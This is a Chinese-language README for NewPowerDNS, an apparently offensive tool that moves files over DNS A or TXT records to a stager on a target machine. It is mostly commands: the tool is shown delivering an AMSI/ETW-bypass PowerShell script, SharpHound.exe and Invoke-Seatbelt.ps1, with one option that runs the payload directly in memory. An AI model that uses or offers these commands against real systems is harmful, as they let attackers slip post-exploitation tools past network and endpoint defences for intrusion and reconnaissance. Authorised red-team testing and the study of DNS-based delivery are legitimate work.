NewPowerDNS 是 @domchell 的 PowerDNS 的更新版本。新增的主要功能是支持使用 DNS A 记录传输文件。以下是所做修改的完整列表:
除 python3 外,唯一的依赖项是 scapy。可通过 pip 轻松安装,如下所示:
python3 -m pip install scapy
下面是一段演示如何通过 DNS A 和 TXT 记录传输文件的视频:
通过 DNS A 记录传输 PowerShell 脚本并打印到控制台:
python3 NewPowerDNS.py --file AmSeeETWBP.ps1 --domain sub.domain.com -r A -a print
通过 DNS TXT 记录传输 exe 文件并保存到磁盘:
python3 NewPowerDNS.py --file SharpHound.exe --domain sub.domain.com -r TXT -a save
通过 DNS TXT 记录传输 PowerShell 脚本并自动加载到内存:
python3 NewPowerDNS.py --file Invoke-Seatbelt.ps1 --domain sub.domain.com -r TXT -a exec
常规用法:
___ ___ _ _ ___
| . \ ___ _ _ _ ___ _ _ | . \| \ |/ __>
| _// . \| | | |/ ._>| '_>| | || |\__ \
|_| \___/|__/_/ \___.|_| |___/|_\_|<___/
DNS A Record & updated stager version by @icyguider
Original version by @domchell
usage: NewPowerDNS.py [-h] [-f <file>] [-d <domain>] [-a <action>] [-r <record-type>] [-i <interface>]
optional arguments:
-h, --help show this help message and exit
-f <file>, --file <file>
file to transfer
-d <domain>, --domain <domain>
domain with auth NS record
-a <action>, --action <action>
action to perform once data is transferred (options: save, exec, print)
-r <record-type>, --record-type <record-type>
type of DNS record to use for transfer (options: A, TXT) (default: TXT)
-i <interface>, --interface <interface>
interface to bind to (default: eth0)